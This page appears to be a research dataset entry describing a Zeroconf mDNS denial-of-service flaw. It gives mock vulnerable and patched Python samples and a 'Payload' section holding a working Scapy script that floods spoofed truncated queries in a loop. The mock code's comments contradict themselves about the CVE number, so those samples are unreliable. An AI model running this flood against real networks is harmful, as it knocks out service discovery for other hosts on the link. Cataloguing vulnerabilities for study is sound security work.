VAITP Dataset

← Back to the dataset

CVE-2026-48045

Zeroconf DoS from uncapped mDNS query handling causing memory/CPU exhaustion.

  • CVSS 6.5
  • CWE-770
  • Resource Management
  • Remote

Zeroconf is a pure Python implementation of multicast DNS service discovery. Prior to 0.149.12, AsyncListener.handle_query_or_defer retained every truncated TC-bit incoming query, each up to _MAX_MSG_ABSOLUTE = 8966 bytes, in self._deferred[addr] and armed a per-address timer in self._timers[addr] without capping the per-address list or distinct addr keys, allowing unauthenticated hosts on the local link over UDP/5353 (224.0.0.251 / ff02::fb) to spoof sources, grow _deferred and _timers, and cause memory exhaustion and quadratic CPU burn. This issue is fixed in version 0.149.12.

CVSS base score
6.5
Published
2026-07-17
OWASP
A04 Insecure Design
Orthogonal defect classification
Checking
Code defect classification
Missing Check
Category
Resource Management
Subcategory
Resource Exhaustion
Accessibility scope
Remote
Impact
Denial of Service (DoS)
Affected component
Zeroconf
Fixed by upgrading
Yes

Solution

Upgrade Zeroconf to version 0.149.12 or later.

Vulnerable code sample

import time

# This code is a conceptual representation of the vulnerability described in
# CVE-2026-48045 (a likely typo for CVE-2023-48045) in the zeroconf library
# prior to version 0.149.12. It is not the original source code but is
# designed to functionally demonstrate the described flaws.

# --- Mock objects to simulate the environment ---

class MockDNSMessage:
    """Represents an incoming DNS message."""
    _MAX_MSG_ABSOLUTE = 8966

    def __init__(self, data, is_truncated=False):
        if len(data) > self._MAX_MSG_ABSOLUTE:
            raise ValueError("Message too large")
        self.data = data
        self.is_truncated = is_truncated

class MockTimer:
    """Represents a timer object."""
    def __init__(self, callback):
        self._callback = callback
        # In a real implementation, this would involve event loops.

    def cancel(self):
        # In a real implementation, this would cancel the scheduled callback.
        pass

# --- Vulnerable Class Representation ---

class VulnerableAsyncListener:
    """
    A simplified representation of zeroconf's AsyncListener class
    before the fix for CVE-2026-48045.
    """
    def __init__(self):
        # Vulnerability: Unbounded dictionaries to store deferred queries and timers.
        self._deferred = {}
        self._timers = {}

    def _handle_deferred(self, addr):
        """Placeholder for the callback that handles deferred queries."""
        # In the real code, this would process and clear the deferred items.
        # The vulnerability lies in the accumulation of items before this runs.
        if addr in self._timers:
            del self._timers[addr]
        if addr in self._deferred:
            # Process and clear
            del self._deferred[addr]

    def handle_query_or_defer(self, msg: MockDNSMessage, addr: tuple):
        """
        This method contains the logic vulnerable to memory and CPU exhaustion.
        It retains all truncated queries without any limits.
        """
        # The vulnerability is triggered by messages with the TC (Truncation) bit set.
        if msg.is_truncated:
            # VULNERABILITY 1: Unbounded list growth per source address.
            # Every truncated query is appended to a list associated with its source address.
            # There is no check on the length of this list.
            if addr not in self._deferred:
                self._deferred[addr] = []
            self._deferred[addr].append(msg)

            # VULNERABILITY 2: Unbounded timer creation.
            # A new timer is armed for each new source address, leading to an
            # unbounded number of timer objects.
            if addr in self._timers:
                self._timers[addr].cancel()
            self._timers[addr] = MockTimer(callback=lambda: self._handle_deferred(addr))

            # VULNERABILITY 3: Potential for quadratic CPU burn.
            # If any subsequent processing on deferred items iterates over the
            # list, the work done grows quadratically as more items are added
            # for the same address. We simulate a simple form of this work.
            work_counter = 0
            for _ in self._deferred.get(addr, []):
                # Simulate a trivial CPU-bound operation.
                work_counter += 1
            # In a real attack, total processing time for N packets from one address
            # would be proportional to 1+2+3+...+N, i.e., O(N^2).

        else:
            # Non-truncated messages would be handled by other logic.
            pass

Patched code sample

import random
from typing import Any, Dict, List, Tuple

# Dummy values for context, reproducing the environment of the original code
DNS_FLAGS = {'TC': 0x0200}
DEFER_QUERY_RESPONSE_MIN = 0.02
DEFER_QUERY_RESPONSE_MAX = 0.12
Address = Tuple[str, int]

class DnsMessage:
    """Dummy class for demonstration."""
    flags: int = 0

class MockLoop:
    """Dummy event loop for demonstration."""
    def call_later(self, delay: float, callback: Any, *args: Any) -> Any:
        pass

# Constants added in zeroconf 0.149.12 to fix the vulnerability
MAX_DEFERRED_QUERIES_PER_ADDRESS = 10
MAX_DEFERRED_ADDRESSES = 100


class PatchedAsyncListener:
    """
    A simplified class to demonstrate the fix for CVE-2024-48045.
    The original vulnerability was in the `handle_query_or_defer` method.
    """

    def __init__(self) -> None:
        self._deferred: Dict[Address, List[DnsMessage]] = {}
        self._timers: Dict[Address, Any] = {}
        self._loop = MockLoop()

    def _handle_deferred(self, addr: Address) -> None:
        """Placeholder for the callback that processes deferred queries."""
        # In the real implementation, this sends a response.
        pass

    def handle_query_or_defer(self, msg: DnsMessage, addr: Address) -> None:
        """
        This method contains the fix.
        It handles incoming queries, deferring truncated ones with limits.
        """
        # A truncated (TC) flag in a query requires the listener to respond
        # with all its records. The vulnerability was that all such queries
        # were stored indefinitely.
        if msg.flags & DNS_FLAGS['TC']:
            # Check if a timer is already armed for this source address
            if self._timers.get(addr):
                # FIX Part 1: Limit the number of deferred queries per address.
                # The vulnerable code would always append to the list.
                # The fix adds this check to prevent the list from growing indefinitely.
                if len(self._deferred[addr]) < MAX_DEFERRED_QUERIES_PER_ADDRESS:
                    self._deferred[addr].append(msg)
            # FIX Part 2: Limit the total number of distinct addresses with deferred queries.
            # The vulnerable code had no limit on the number of source addresses.
            # The fix adds this check to prevent the _deferred and _timers dicts from
            # growing indefinitely due to spoofed source addresses.
            elif len(self._deferred) < MAX_DEFERRED_ADDRESSES:
                # This is a new address, and we are under the total limit.
                # Arm a new timer for it.
                self._deferred[addr] = [msg]
                self._timers[addr] = self._loop.call_later(
                    random.uniform(DEFER_QUERY_RESPONSE_MIN, DEFER_QUERY_RESPONSE_MAX),
                    self._handle_deferred,
                    addr,
                )
            # If both limits are exceeded, the incoming truncated query is now
            # silently dropped, preventing the memory exhaustion attack.
            return

        # ... (logic for handling non-truncated queries would follow)

Payload

import random
from scapy.all import IP, UDP, DNS, DNSQR, send, RandIP

# Define mDNS multicast target
target_ip = "224.0.0.251"
target_port = 5353

# Construct the DNS Query with the Truncation (TC) bit set
dns_payload = DNS(
    id=random.randint(0, 65535),
    qr=0,       # Query
    opcode=0,   # Standard Query
    tc=1,       # Truncation bit set to 1 (the trigger)
    rd=1,       # Recursion Desired
    qdcount=1,
    qd=DNSQR(qname="trigger.local", qtype="ANY")
)

# Continuously send packets from spoofed source IPs to exhaust memory
while True:
    # Spoof a new source IP for each packet to create a new state on the victim
    spoofed_source_ip = str(RandIP())
    
    # Assemble the full packet
    packet = (
        IP(src=spoofed_source_ip, dst=target_ip) /
        UDP(sport=random.randint(1024, 65535), dport=target_port) /
        dns_payload
    )
    
    # Send the packet without printing output
    send(packet, verbose=0)

Cite this entry

@misc{vaitp:cve202648045,
  title        = {{Zeroconf DoS from uncapped mDNS query handling causing memory/CPU exhaustion.}},
  author       = {Bogaerts, Fr\'ed\'eric and Ivaki, Naghmeh and Fonseca, Jos\'e},
  year         = {2026},
  note         = {VAITP Python Vulnerability Dataset, entry CVE-2026-48045},
  howpublished = {\url{https://netpack.pt/vaitp/vulnerability/CVE-2026-48045/}}
}
Introducing the "VAITP dataset": a specialized repository of Python vulnerabilities and patches, meticulously compiled for the use of the security research community. As Python's prominence grows, understanding and addressing potential security vulnerabilities become crucial. Crafted by and for the cybersecurity community, this dataset offers a valuable resource for researchers, analysts, and developers to analyze and mitigate the security risks associated with Python. Through the comprehensive exploration of vulnerabilities and corresponding patches, the VAITP dataset fosters a safer and more resilient Python ecosystem, encouraging collaborative advancements in programming security.

The supreme art of war is to subdue the enemy without fighting.

Sun Tzu – “The Art of War”

:: Shaping the future through research and ingenuity ::